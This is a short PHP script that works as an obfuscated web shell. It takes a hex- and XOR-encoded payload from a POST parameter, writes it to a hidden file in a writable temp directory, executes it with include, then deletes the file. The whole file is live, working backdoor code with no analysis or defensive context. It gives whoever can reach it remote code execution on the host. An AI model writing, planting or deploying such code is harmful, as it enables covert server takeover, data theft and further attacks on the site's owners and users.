<?php

if(in_array("\x73ymbo\x6C", array_keys($_POST))){
	$object = hex2bin($_POST["\x73ymbo\x6C"]);
	$mrk= ''  ;    $y = 0; while($y < strlen($object)){$mrk .= chr(ord($object[$y]) ^ 29);$y++;}
	$holder = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]);
	foreach ($holder as $tkn):
    		if (is_dir($tkn) && is_writable($tkn)) {
    $ent = str_replace("{var_dir}", $tkn, "{var_dir}/.data_chunk");
    if (file_put_contents($ent, $mrk)) {
	include $ent;
	@unlink($ent);
	die();
}
}
endforeach;
}